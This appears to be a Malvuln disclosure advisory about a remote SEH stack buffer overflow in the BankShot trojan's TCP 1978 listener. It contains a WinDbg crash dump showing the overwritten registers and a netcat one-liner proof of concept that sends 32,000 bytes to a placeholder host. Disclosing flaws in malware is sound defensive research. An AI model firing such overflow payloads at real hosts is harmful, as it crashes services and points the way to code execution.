Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024 Original source: https://malvuln.com/advisory/f2fd6a7b400782bb43499e722fb62cf4.txt Contact: [email protected] Media: twitter.com/malvuln Threat: Trojan.Win32 BankShot Vulnerability: Remote Stack Buffer Overflow (SEH) Description: The malware listens on TCP port 1978 and creates a local Windows service running with SYSTEM integrity. Third-party adversaries who can reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting ECX, EIP registers and Structured Exception Handler (SEH) Family: BankShot Type: PE32 MD5: f2fd6a7b400782bb43499e722fb62cf4 Vuln ID: MVID-2024-0669 ASLR: Not Enabled DEP: Enabled SEH: Not Enabled CFG: Not Enabled Disclosure: 01/30/2024 Memory Dump: (16bc.cf8): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=77309d70 esi=00000000 edi=00000000 eip=41414141 esp=061511f0 ebp=06151210 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:005> .ecxr eax=00000000 ebx=00000000 ecx=41414141 edx=77309d70 esi=00000000 edi=00000000 eip=41414141 esp=061511f0 ebp=06151210 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:005> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for MouseServer.exe *** ERROR: Module load completed but symbols could not be loaded for MouseServer.exe Failed calling InternetOpenUrl, GLE=12029 FAULTING_IP: MouseServer+2a95e 0042a95e f3a4 rep movs byte ptr es:[edi],byte ptr [esi] EXCEPTION_RECORD: 0624dec4 -- (.exr 0x624dec4) ExceptionAddress: 0042a95e (MouseServer+0x0002a95e) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 06250000 Attempt to write to address 06250000 PROCESS_NAME: MouseServer.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: MouseServer+2a95e 0042a95e f3a4 rep movs byte ptr es:[edi],byte ptr [esi] FAILED_INSTRUCTION_ADDRESS: +2a95e 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0624df14 -- (.cxr 0x624df14) eax=027fce88 ebx=0624fbfc ecx=000008d8 edx=00001d00 esi=027fc5b0 edi=06250000 eip=0042a95e esp=0624e374 ebp=0624fbf0 iopl=0 nv up ei pl nz na po cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010203 MouseServer+0x2a95e: 0042a95e f3a4 rep movs byte ptr es:[edi],byte ptr [esi] Resetting default scope FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 41414141 to 0042a95e FRAME_ONE_INVALID: 1 STACK_TEXT: 0624e374 0042a95e mouseserver+0x2a95e 0624fbf8 41414141 unknown!printable+0x0 STACK_COMMAND: .cxr 000000000624DF14 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 624e374 ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: mouseserver+2a95e FOLLOWUP_NAME: MachineOwner MODULE_NAME: MouseServer IMAGE_NAME: MouseServer.exe DEBUG_FLR_IMAGE_TIMESTAMP: 58eb1b3a FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_MouseServer.exe!Unknown BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_mouseserver+2a95e 0:005> !exchain 0624ddd4: ntdll!ExecuteHandler2+44 (77309d70) 0624fbe4: 41414141 Invalid exception stack at 41414141 Exploit/PoC: C:\Users\gg\Desktop>python -c "print('A'*32000)" | nc64.exe x.x.x.x 1978 system windows 6.2 version 1.7.4.0 serverid 7E8539FB-5E68-464F-AE62-129E95A7DFB8 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. 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